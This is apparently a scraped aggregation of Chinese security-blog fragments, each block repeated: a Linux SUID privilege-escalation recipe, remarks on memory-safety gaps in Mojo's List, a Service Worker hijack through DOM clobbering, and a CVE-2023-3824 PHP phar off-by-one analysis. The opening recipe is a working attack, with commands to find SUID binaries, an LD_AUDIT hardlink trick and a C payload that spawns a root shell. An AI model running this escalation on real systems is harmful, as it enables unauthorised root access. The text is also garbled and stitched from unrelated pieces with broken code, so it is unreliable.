LinuxSUID提权
查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;
Ping
复制
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.c
复制
void attribute((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
复制
>gcc -W -fPIC -shared -o /tmp/exploit payload.c
>提升到root权限
>LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
>id 查看当前权限
查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;
Ping
复制
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.c
复制
void attribute((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
复制
>gcc -W -fPIC -shared -o /tmp/exploit payload.c
>提升到root权限
>LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
>id 查看当前权限
以安全的视角浅谈新生代专为AI设计的语言Mojo
基本类型List
基本类型的定义都可以在官方stblib[3]中找到。这里重点介绍一下List,它对标Python中的List。它的基本定义为
即struct的字段分布是顺序的。值得注意是List的操作中并没有越界检测以及释放后将data pointer置NULL,已经用户反应了的此类问题[4]. 官方打算支持但是目前还没有时间。这一点是非常震惊我的,这意味OOB和UAF在Mojo是很容易做的
基本类型List
基本类型的定义都可以在官方stblib[3]中找到。这里重点介绍一下List,它对标Python中的List。它的基本定义为
即struct的字段分布是顺序的。值得注意是List的操作中并没有越界检测以及释放后将data pointer置NULL,已经用户反应了的此类问题[4]. 官方打算支持但是目前还没有时间。这一点是非常震惊我的,这意味OOB和UAF在Mojo是很容易做的
通过 DOM Clobbering 劫持 Service Worker
该importScripts()函数是此漏洞的核心 - 它允许 SW 从不同的域检索 JavaScript。在下面的示例中,攻击者可以控制主机查询参数,从而完全控制导入的脚本,从而完全控制网站响应。
为了利用这些类型的漏洞,您需要两个组件:
一——控制传递给 SW 的查询字符串参数。
二 - importScripts()SW 内部的函数调用可能会受到查询字符串参数的影响。
该importScripts()函数是此漏洞的核心 - 它允许 SW 从不同的域检索 JavaScript。在下面的示例中,攻击者可以控制主机查询参数,从而完全控制导入的脚本,从而完全控制网站响应。
为了利用这些类型的漏洞,您需要两个组件:
一——控制传递给 SW 的查询字符串参数。
二 - importScripts()SW 内部的函数调用可能会受到查询字符串参数的影响。
CVE-2023-3824: 幸运的Off-by-one (two?)
这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:
后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的count和sizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)为4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]写NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.
这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:
后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的count和sizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)为4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]写NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.